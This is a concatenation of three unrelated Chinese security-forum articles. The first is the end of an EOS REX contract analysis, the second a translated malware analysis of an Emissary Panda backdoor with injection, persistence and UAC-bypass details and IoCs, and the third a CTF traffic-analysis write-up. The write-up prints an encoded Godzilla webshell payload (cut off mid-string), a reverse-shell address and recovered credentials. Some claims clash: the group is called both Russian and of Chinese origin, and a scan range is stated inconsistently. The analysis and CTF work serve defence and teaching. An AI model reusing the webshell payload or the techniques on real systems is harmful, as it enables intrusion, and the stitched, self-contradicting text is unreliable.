const int64_t S0 = rexitr->total_lendable.amount;
const int64_t R0 = rexitr->total_rex.amount;
const int64_t p = (uint128_t(rex.amount) * S0) / R0; ///越多人借资源收益越高
const int64_t R1 = R0 - rex.amount; ///更新rex pool中rex的数量
const int64_t S1 = S0 - p; ///更新rex pool中EOS的数量
asset proceeds( p, core_symbol() ); ///获得的收益
asset stake_change( 0, core_symbol() );
bool success = false; ///默认订单完成状态为0
check( proceeds.amount > 0, "proceeds are negligible" );
const int64_t unlent_lower_bound = rexitr->total_lent.amount;
//计算能未质押的rex pool中的EOS的数量，用于接下来观察是否足够支付用户产生的rex利润
const int64_t available_unlent = rexitr->total_unlent.amount - unlent_lower_bound; // available_unlent <= 0 is possible
//rexpool中的钱足够支付rex利润
if ( proceeds.amount <= available_unlent ) {
const int64_t init_vote_stake_amount = bitr->vote_stake.amount;
const int64_t current_stake_value = ( uint128_t(bitr->rex_balance.amount) * S0 ) / R0;
_rexpool.modify( rexitr, same_payer, [&]( auto& rt ) {
rt.total_rex.amount = R1;///更新rex pool中的rex的数量
rt.total_lendable.amount = S1; ///更新lenableEOS数量
rt.total_unlent.amount = rt.total_lendable.amount - rt.total_lent.amount; ///减少unlent数据
});
//对用户的rexbalance账户进行操作
_rexbalance.modify( bitr, same_payer, [&]( auto& rb ) {
rb.vote_stake.amount = current_stake_value - proceeds.amount;
rb.rex_balance.amount -= rex.amount;
rb.matured_rex -= rex.amount; ///减少已经成熟的rex的数量
});
stake_change.amount = bitr->vote_stake.amount - init_vote_stake_amount;
success = true;
///不够钱支付的情况
} else {
proceeds.amount = 0;
}
return { success, proceeds, stake_change };
}
同样的，类似
add_to_rex_pool，我们也可以抛开其他细节，直击最核心的收益计算公式，即第6行的计算公式。（uint128_t(rex.amount) *
S0）/ R0，这个函数虽然看起来同样的复杂，但是我们可以用相同的方法进行简化。首先我们对公式进行一些转换，变成 rex.amount / R0 *
S0,加个括号，变成 rex.amount * (R0 / S0),即你能收益的 rex 是你要卖的 rex 乘以 rex_pool 中 rex 总量和
rex_pool 中得总 EOS 总资产之间的比例，这个比例在没有第三方资金如 name bid 和 ram fee
加入的情况下也是维持稳定不变的10000:1。
## 我们知道了什么？
一口气说了一大堆，看到这里的你可能还有点茫然，可能只是记住了两个公式的转化，不打紧。我来总结下这次看完文章的的收获。通过以上的分析，我们知道买 rex 和卖
rex 都是根据 rex 总量和 rex_pool 中的 EOS 的总资金之间的比例进行计算的，也就是说`在没有第三方资金参与，用户的 EOS
总是按1:10000的比例变成 rex，再按10000:1的比例再变成 EOS`。这说明，在没有第三方资源的情况下，rex 和 EOS
总是按照一定的比例进行互换，这也是为什么 REX 号称稳赚不亏的原因。同时，在有第三方资金入场的时候，R0 / S0 的比例就会变小，也意味着 S0 /
R0 的比例变大，虽然同样资金买到的 rex 变少了，但是，卖出去的比例就变大了，获得的收益就变得更多了。
**整个参与的流程大致如下：**
## REX 安全性分析
REX 作为 EOS 本身的系统合约，其安全防护必须要做到面面俱到，一旦出现问题，将造成灾难性的影响。REX 合约已经由 EOS Authority
团队进行义务安全审计，但作为一名安全人员，笔者同时也对 REX
的整个架构进行了深入的思考，文章将会陆续对每个文章提及到的接口进行分析，阐述其安全性或安全性增强建议。
本文粗略介绍了四个接口，分别是deposit，withdraw，buyrex，sellrex。
从函数实现上来看
1、每个函数都有对 asset 参数的信息进行校验，包括数量，代币的符号信息是否与系统代币信息一致。防止可能的假充值问题和溢出问题。
2、用户的关键操作都有权限校验，防止越权操作。
同时，文章内介绍的四个接口不存在 EOS 上常见的攻击手法如回滚攻击，排挤攻击，假通知攻击。
但值得注意的是，在这几个函数中，sellrex 函数曾存在一个严重漏洞(现已修复)，导致用于可以从 REX 中盗取资产。
详细信息如下：
<https://eosauthority.com/blog/REX_progress_with_testing_and_implementation_details>
漏洞的成因在于进行 sellrex 操作的时候 REX
系统可能会不够钱支付用户的收益，在这种情况下，用户的卖单就会挂起，如果没有校验订单，恶意用户就能在系统资金不足的情况下一直进行 sellrex
操作，一直增加挂起订单的金额，直到有系统有足够的资源支付用户的收益
## 结语
REX 是一个庞大的系统，不存在三言两语将全部细节分析到位情况，文章没有分析太多的技术细节，只是大概分析了每个函数的大概作用，介绍了关于 REX
收益最核心的地方。想要了解具体细节的朋友可以持续关注我们的系列文章～下一篇文章将会继续说明这些函数之间更加好玩的细节！文章可能有说得不对的地方，欢迎大家指点交流。
## 声明
本文仅用作技术参考，不构成任何投资建议。投资者应在充分了解相关风险的基础上进行理性投资。
* * * | 社区文章 |
# 针对Emissary Panda组织的新型后门工具分析
|
##### 译文声明
本文是翻译文章，文章来源：https://www.nccgroup.trust/
原文地址：<https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、概述
在过去的几年中，我们监测到了许多来自俄罗斯的黑客组织的活动，这些组织始终保持着活跃。其中一个团体名为“熊猫使者”（Emissary
Panda），也被称为TG-3390、APT 27和青铜联盟（Bronze
Union）。这是一个具有中国血统的黑客组织，主要针对教育、能源和科技相关领域进行攻击的黑客组织。
在过去，熊猫使者使用了多种方式实现他们的攻击。其中最值得注意的，就是他们对意大利黑客公司Hacking
Team泄露出来的漏洞利用方式的利用。在他们的恶意工具中，带有的Payload通常是著名的PlugX，或者是HttpBrowserRAT，这是一种被认为源于中国的工具，并且被许多中国的黑客组织所使用。
最近的研究表明，这个小组正在开发一种新工具，这种工具持续保持活跃，并且近期还在受到感染的机器中被发现。本文主要是针对我们新发现的工具进行分析。经过我们的分析，有证据推断该工具可能与“HttpBrowser”的作者有一定关联。
## 二、对幕后组织的推断
尽管这一推断过程非常困难，但根据以下信息，我们认为该新型后门背后的使用者极可能是“熊猫使者”组织：
1、部分代码与此前该组织发布的样本相似（如图1、图2所示）。
2、在该组织过去曾经感染过的主机上，发现了一些工具和使用的技术，具体如下。
(1)
ChinaChopper：一个允许攻击者在被感染主机上执行命令的WebShell，需要密码才能与WebShell进行交互。我们发现的样本中，密码为“123”。
(2) 公开发布版本的nbtscan和netview枚举工具。
(3) 修改后的Mimikatz：可以从内存中提取密码。
(4) The Hunter：一款网络应用扫描工具。
(5) DLL劫持技术：用于执行Payload，“熊猫使者”组织过去也曾经使用过这种技术。
图1，左侧为以前该组织发布的样本，右侧为此次分析的新样本：
图2，左侧为以前该组织发布的样本，右侧为此次分析的新样本：
图3，左侧为以前该组织发布的样本，右侧为此次分析的新样本：
## 三、技术分析
根据我们对受感染主机的研究和调查，我们发现了两个似乎还处于开发阶段的样本。在这两个样本中，还包含一些旧版本HttpBrowser样本的代码。两个样本都包含大量代码，但其中的一个具有更多的实际功能。
当恶意SFX文件执行时，整个恶意后门就开始执行。在可执行文件中，包含以下文件：
(1) INISafeWebSSO.exe：加载恶意DLL的合法文件；
(2) inicore_v2.3.30.dll：恶意DLL；
(3) sys.bin.url：我们找到的两个恶意Payload均以此为名称。
为了执行Payload，攻击者利用了一种名为DLL搜索顺序劫持（DLL Search Order
Hijacking）的技术。加载恶意DLL之后，它将使用XOR循环解密其自身代码的一部分（如图4所示），并对合法可执行文件的入口点进行修补，然后再次跳回恶意DLL中（如图5所示）。
图4，第一个XOR解密循环：
图5，修补入口点：
在跳回DLL之后，它将会重复同样的过程，来解密其自身的一部分，并找到LoadLibrary和GetProcAddress的地址，以动态加载所有必要的函数。
最后，它将读取sys.bin.url文件，执行将转移到这里。在完成之后，它将会使用XOR的方式，解密其余的恶意Payload，并调用RtlDecompressBuffer函数对其进行解压缩。
## 四、Payload
在这里，我们将重点讨论带有附加功能的Payload。在后面，我们会描述两个样本之间的差异。在进入到Payload之后，我们发现了一些有趣的字符串，这些字符串似乎是用于调试（如图6和图7）。正因如此，我们认为该工具仍在开发之中。
图6，调试用字符串：
图7，调试用字符串：
其具体所采取的行为，会根据传递参数的数值而定。不同值所代表的不同行为如下表所述，并在后文中进行详细分析。
### 参数0：终止执行并自我删除 || 使用WMI执行二进制文件
当二进制文件首次执行时：
1、检查其是否从%TEMP%目录中运行，如果是，则尝试终止其自身进程。
2、检查其是否从%APPDATA%目录中运行，如果是，则生成一个新的svchost进程，并使用-k作为参数，最后将sys.bin.url注入到新进程中。
3、若上述判断都不满足，其将在%APPDATA%目录中创建一个名为systemconfig的新目录，将所有文件（可执行文件、DLL文件、sys.bin.url）移动到其中，并使用WMI从创建的目录执行二进制文件。
### 参数1：Svchost注入
当参数为1时，Payload将从%appdata%systemconfig目录中读取sys.bin.url文件。然后，它会产生一个新的Svchost进程C:windowssystem32svchost.exe
–k，将其置为挂起状态，并注入Payload。最后，修补svchost.exe的入口点，以便其可以在ResumeThread调用之后执行恶意Payload。
### 参数2：持久化 && Svchost再次注入
持久化所使用的具体方法取决于访问权限的级别。如果Payload的进程是由具有管理员权限的用户运行的，那么就会创建一个新的服务。服务的名称由配置所决定，在我们的样本中其名称为“systemconfig”（系统配置），描述为“for
system config”（用于系统配置）。其二进制路径是提取的安装程序的路径，使用/update作为参数。
否则，它会将二进制的路径添加到SoftwareMicrosoftWindowsCurrentVersionRun中，并使用—update作为参数。如果是以这种方式进行的持久化，或者根本就没有完成持久化工作，那么它将按照参数1中所述的方式，注入到Svchost中。
### 参数3：核心功能
目前，核心功能包括：将配置写入注册表、与C&C服务器进行通信。我们暂时没有发现任何恶意功能，例如上传/下载文件，或者是执行攻击者的命令。
### 参数4：UAC绕过
二进制文件中，包含已经公开的UAC绕过方法。由于它会退出该过程，因此这一方法是否能有效实现并不重要。这一点也再次表明了，该工具仍在开发之中，并且编写者打算继续扩展其功能。
### 配置
在将配置的值写入注册表之前，都会使用DES算法对配置的每个值进行加密。其会在HKEY_CURRENT_USERSoftwareClasses目录下创建一个新键，使用HARDWAREDESCRIPTIONSystemBIOS键中的SystemProductName值或硬编码的字符串“68A-D3H-B1111”作为其名称中前半部分的字符。此外，使用硬编码的字符串“HjDWr6vsJqfYb89mxxxx”作为其名称中后半部分的字符。例如：
VMware Virtual Service-HjDWr6vsJqfYb89mxxxx或
Z68A-D3H-B1111-HjDWr6vsJqfYb89mxxxx
加密算法中所使用的密钥和初始化向量（IV），基于该注册表名称的前8个字节而定，例如VMware V。
接下来，我们对加密后的子键值进行分析。一旦这些子键值被写入后，它们之中的大部分将不会从Payload中再次读取。这一点，也可能表明了作者此后将会扩展该工具的功能。我们编写了一个Python脚本，来自动识别出注册表键，并解密子键值的值。解密后的值如下表所示：
（图1）
## 五、两个样本之间的差异
如前文所述，这两个样本中有很多代码都是相同的，但二者还是存在很多差异。其中，最重要的两个差异之处是：
第一，每个样本都有不同的调试字符串。
第二，功能较少的样本需要读取并解密此前存储的注册表值，以便进行C&C通信或注入到svchost。其原因在于，配置不包含在二进制文件之中。
除此之外，我们将其他的差异总结在表格之中，如下所述：
## 六、结论
根据我们的分析，“熊猫使者”这一组织仍然活跃，并且持续将目标瞄准他们所选定类型的组织。尽管目前我们发现的样本中，不包含任何恶意功能，但我们认为该组织仍然会对这一工具持续开发，并将其用在未来的攻击之中。
## 七、参考文章
[1] <https://github.com/nccgroup/Cyber-Defence/tree/master/Scripts/emissary_panda_registry>
此前的研究工作：
[2] <https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage>
[3] <https://www.secureworks.com/research/bronze-union>
## 八、IoC
### C&C IP
103.59.144.183
159.65.80.157
### 注册表键值及其描述
HjDWr6vsJqfYb89mxxxx：SoftwareClasses中键的名称后半部分的字符串。
Z68A-D3H-B1111：SoftwareClasses中键的名称前半部分的字符串。
C:ProgramData ：包含三个文件的目录。
systemconfig：检查该键是否存在于SoftwareMicrosoftWindowsCurrentVersionRun中。
Systemconfig：检查是否存在描述为“for systemconfig”的指定服务。
### SHA-256
INISafeWebSSO.exe（C501203FF3335FBFC258B2729A72E82638719F60F7E6361FC1CA3C8560365A0E）
inicore_v2.3.30.dll（4D65D371A789AABE1BEADCC10B38DA1F998CD3EC87D4CC1CFBF0AF014B783822）
sys.bin.url（2B2BB4C132D808572F180FE4DB3A0A3143A37FDECE667F8E78778EE1E9717606）
sys.bin.url（3E718F39DFB2F6B8FBA366FEFA8B7C127DB1E6795F3CAAD2D4A9F3753EEA0ADC） | 社区文章 |
# 通过陇剑杯进行流量分析的学习
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面
最近参加了首届陇剑杯，和往常的CTF不太一样，题目基本都是流量分析类型的，我也是第一次接触这方面，还挺有意思的。写的不好的地方请各位师傅多多指正~最后这里要感谢几位师傅共同参与比赛。
## 1.签到
签到题是其中最简单的分析流量了。
Wireshark打开附件Good.pcapng：
[](https://p3.ssl.qhimg.com/t0174aa137eebd924a6.png)
可以看到可能遭受ARP攻击，所以flag是arp。
## 2.JWT
这里先来讲一下什么是JWT。
JWT即JSON Web Token。JWT 的原理是，服务器认证以后，生成一个 JSON
对象，发回给用户，以后，用户与服务端通信的时候，都要发回这个JSON对象。服务器完全只靠这个对象认定用户身份。为了防止用户篡改数据，服务器在生成这个对象的时候，会加上签名，服务器就不保存任何session数据了，也就是说，服务器变成无状态了，从而比较容易实现扩展。
那么这里既然涉及到Token，那么题目应该就会从Token值这里来下手了。那么2.2就出现了：
用Wireshark打开附件goroot.pcap：
先在`/identity`下找到了username为admin：
[](https://p3.ssl.qhimg.com/t010bc270189c584a66.png)
然后在对应的cookie里找到了Token值：
[](https://p1.ssl.qhimg.com/t019dea5c3ab34633d3.png)
将Token值用base64解码之后便可得到id值为10087了。故flag为10087#admin
2.3是寻找黑客获取webshell后的权限，那么首先就是来找`whoami`：
在过滤器里搜索`http matches "(.*?)whoami"`
[](https://p5.ssl.qhimg.com/t01a9979ad0e4e250fc.png)
右键点击追踪流，追踪http流：
[](https://p2.ssl.qhimg.com/t01b5bbba6b19ff6513.png)
然后在追踪该响应包的http流，找到了root权限
[](https://p3.ssl.qhimg.com/t01d11f00b55d5bc92c.png)
[](https://p5.ssl.qhimg.com/t015aa8a189f4793b16.png)
这里额外补充其中ios中的查找黑客利用的Github开源项目的名字：
在过滤器里搜索`http matches "(.*?)git"`(或者github也可)
[](https://p3.ssl.qhimg.com/t010d00650e8ca7047b.png)
可以看到黑客直接在本地用`wget`命令来获取GitHub上的项目，项目名称为Stowaway，这里我们也可以直接复制粘贴访问该项目查看下：
[](https://p0.ssl.qhimg.com/t0185983fdd30ecef3d.png)
故flag为stowaway。
2.4是寻找黑客上传的恶意文件名字。那么Wireshark打开附件，要查找上传点的文件一般过滤只看post:
`http.request.method=="POST"`
[](https://p3.ssl.qhimg.com/t01aa94e00acc4ca19f.png)
这里发现一段base64，发现需要分段解出得到一段c语言程序：
[](https://p1.ssl.qhimg.com/t016c7b0abb9c44036d.png)
继续往下找
[](https://p2.ssl.qhimg.com/t01c6f44e72e9c8eb82.png)
发现`1.c`文件，但不确定继续往下看
[](https://p2.ssl.qhimg.com/t015a63fd7e947bb9bc.png)
这里把1.c文件重命名为了looter.c文件，应该可以确定上传的文件就是1.c了
2.5查找黑客在服务器上编译的恶意so文件名字，这个很简单，有两种解决方法：
一种就直接用Wireshark全局搜索.so即可定位文件名为：looter.so：
[](https://p1.ssl.qhimg.com/t013a143e0541eb0d9e.png)
另外一种方法是直接用记事本打开并搜索`.so`，即可得到想要的答案了：
[](https://p4.ssl.qhimg.com/t01e5ad53216e7439b8.png)
[](https://p0.ssl.qhimg.com/t017ee7b7189238de30.png)
故flag答案为`looter.so`
## 3.webshell
3.1需要查找黑客登陆系统使用的密码，这里稍微信息收集下收集到用的是`php`后缀，那么就直接在过滤器里搜索`http.request.method
=="POST" && http contains "php"`，点击第一个，查看到密码：
[](https://p0.ssl.qhimg.com/t01ed25d1f45d0c12c3.png)
3.2是查找黑客修改的一个日志文件的绝对路径，那么同理还是在过滤器里搜索`http.request.method =="POST" && http
contains "php"`，点击找到log文件`data/Runtime/Logs/Home/21_08_07.log`：
[](https://p3.ssl.qhimg.com/t01f7f1a06fb145ec9c.png)
可是这里只是一个相对路径，在响应包中找到对应的`/var/www/html`，拼接一下即为绝对路径flag：
`/var/www/html/data/Runtime/Logs/Home/21_08_07.log`
[](https://p4.ssl.qhimg.com/t010ef23b72c51ade2e.png)
3.3同2.3一样是寻找黑客获取webshell后的权限，这里用另外一种方法来查找：
在过滤器里搜索`http.request.method =="POST" && http contains "php"`，找到whoami：
[](https://p0.ssl.qhimg.com/t01329b7652b17c11dc.png)
右键点击追踪流，追踪http流
[](https://p2.ssl.qhimg.com/t017d64aa3602fedcf3.png)
找到对应的响应包
[](https://p5.ssl.qhimg.com/t01a77e29f371b45fa1.png)
右键追踪http流，在其中找到权限
[](https://p5.ssl.qhimg.com/t015724d722deccb725.png)
3.4则是查找黑客写入的webshell文件名称，那么用wireshark打开附件hack.pcap：
[](https://p4.ssl.qhimg.com/t0128b69fd63ea413bd.png)
直接看到webshell为1.php。
[](https://p3.ssl.qhimg.com/t01fc476b0fa098f072.png)
3.5是寻找黑客上传的代理工具客户端名字。这个直接定位到最后一个响应包，右键点击追踪流，追踪http流：
[](https://p2.ssl.qhimg.com/t017a7056dbba8eda01.png)
在里面找到了frpc和frpc.ini，所以flag就是frpc。这个是啥应该不用多说了。
## 4.日志分析与简单日志分析
在日志分析中，开局直接打开txt文件，`ctrl+F`查找200，便找到了`www.zip`，这个即为网络存在源码泄漏所泄露的源码文件名，即flag：
[](https://p3.ssl.qhimg.com/t01009bcbe0b63d9e88.png)
然后来了一个查找黑客往/tmp目录写入的一个文件名称，那么直接`ctrl+F`查找200，一直往下翻到一个200的`file`参数，其等于`sess_car`，那么flag就是`sess_car`了：
[](https://p3.ssl.qhimg.com/t019873a75708ad417c.png)
最后让我分析攻击流量，分析黑客使用的是什么类来读取了秘密文件。这里找到了一个似乎是用python写的脚本请求：
[](https://p3.ssl.qhimg.com/t01b9c81c443d311ddd.png)
将filename后面这一串放到url编码中解码，可以看到这里是用的php反序列化来读取秘密文件，类为`SplFileObject`，故flag就是`SplFileObject`
[](https://p5.ssl.qhimg.com/t011f8f36994bc56f2f.png)
在简单日志分析中，确实也是比较简单。用记事本打开日志文件：
[](https://p1.ssl.qhimg.com/t016dd3a30642287e33.png)
即可查看到黑客攻击的参数为user，这个就是flag了。
然后是需要黑客查看的秘密文件的绝对路径。这里找到第二段base64编码数据解开：
[](https://p1.ssl.qhimg.com/t01a9bf30e1f5934530.png)
[](https://p2.ssl.qhimg.com/t016f1f4939b0be248e.png)
得到绝对路径：`/Th4s_IS_VERY_Import_Fi1e`
最后是寻找黑客反弹shell的ip和端口。这里找到最后一段base64解密：
[](https://p4.ssl.qhimg.com/t01ff4100c8ec9bc9ef.png)
[](https://p3.ssl.qhimg.com/t015fb3f003852646b1.png)
或者也可以用burpsuite先url解码，再base64解码可得flag答案：`192.168.2.197:8888`
[](https://p0.ssl.qhimg.com/t01ed27a4851ef4a6d0.png)
[](https://p2.ssl.qhimg.com/t013dd2a542da3ea0c5.png)
## 5.SQL注入
记事本打开日志文件直接翻到文件后面
[](https://p1.ssl.qhimg.com/t01c73c2a6868fbfb2a.png)
这句是查询字段flag从sqli数据库中的flag表，所以flag答案为：`sqli#flag#flag`
## 6.端口扫描
这里讲其中一个查找黑客端口扫描的扫描器的扫描范围。
首先打开统计—端点：
[](https://p4.ssl.qhimg.com/t0193049174ebbd336d.png)
按照portB排序，一般而言，端口扫描都是连续性有规则的端口，从这里我们能看到起始端口是10：
[](https://p3.ssl.qhimg.com/t01bbb048fa73640e48.png)
拉到最底下我们统计出末尾端口为449：
[](https://p5.ssl.qhimg.com/t019a653eab51294b41.png)
那么最终答案便是10-499
## 7.wifi
### 描述
网管小王最近喜欢上了ctf网络安全竞赛，他使用“哥斯拉”木马来玩玩upload-labs，并且保存了内存镜像、wifi流量和服务器流量。小王往upload-labs上传木马后进行了`cat /flag`，flag内容究竟是啥呢？（压缩包里有解压密码的提示，需要额外添加花括号）
### 题解
想要解出这一题需要使用到`Volatility`这个开源的取证框架，这个框架能够对导出的内存镜像镜像分析，能过通过获取内核的数据结构，使用插件获取内存的详细情况和运行状态，同时可以直接dump系统文件，屏幕截图，查看进程等等。
首先内存镜像分析，先看看imageinfo探测系统类型
volatility -f Windows\ 7-dde00fa9.vmem imageinfo
[](https://p2.ssl.qhimg.com/t01cfa80b7358140832.png)
cmdscan查看最近命令，这个命令为导出wifi的密码
volatility -f Windows\ 7-dde00fa9.vmem --profile=Win7SP1x86_23418 cmdscan
[](https://p5.ssl.qhimg.com/t01d495b095a0ca85de.png)
filescan查看该文件夹里的东西，发现My_Wifi.zip
volatility -f Windows\ 7-dde00fa9.vmem --profile=Win7SP1x86_23418 filescan | grep "Program Files"
[](https://p0.ssl.qhimg.com/t0167f5d50fbddea4ab.png)
打开zip发现hint`password is Network Adapter
GUID`，需要网卡的GUID，GUID在Windows的`C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\`文件夹内
volatility -f Windows\ 7-dde00fa9.vmem --profile=Win7SP1x86_23418 filescan | grep "Interfaces"
[](https://p1.ssl.qhimg.com/t01999c5d598d1c49b7.png)
为`{529B7D2A-05D1-4F21-A001-8F4FF817FC3A}`,解压后wifi信息为：
<?xml version="1.0"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
<name>My_Wifi</name>
<SSIDConfig>
<SSID>
<hex>4D795F57696669</hex>
<name>My_Wifi</name>
</SSID>
</SSIDConfig>
<connectionType>ESS</connectionType>
<connectionMode>auto</connectionMode>
<MSM>
<security>
<authEncryption>
<authentication>WPA2PSK</authentication>
<encryption>AES</encryption>
<useOneX>false</useOneX>
</authEncryption>
<sharedKey>
<keyType>passPhrase</keyType>
<protected>false</protected>
<keyMaterial>233@114514_qwe</keyMaterial>
</sharedKey>
</security>
</MSM>
</WLANProfile>
发现密码为`233[@114514_qwe](https://github.com/114514_qwe
"@114514_qwe")`，有了这个Wifi密码我们可以解密客户端的cap流量包
airdecap-ng -e My_Wifi -p 233@114514_qwe 客户端.cap
然后分析后找到
[](https://p4.ssl.qhimg.com/t01edd0ce33dcaa2fbd.png)
有一些这种密文，这时候我们再通过服务器那边的流量
[](https://p2.ssl.qhimg.com/t01cc75ee6547f1c736.png)
我们可以发现其是两两对应的，我们先拿服务器的流量解密一下
第一层是url解码
pass=eval(base64_decode(strrev(urldecode('K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBXayR3coAiZpBCIgACIgACIK0welNHbl1HIgACIK0wOpYTMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpkSeltGJskSY0FGZkgib1JHQoUGZvNmblhSZk92YuV2X0YTZzFmYg8GajVGIgACIgACIgoQD7kiNxwCMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpQWYvxWehBHJowWY2VGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD'))));&key=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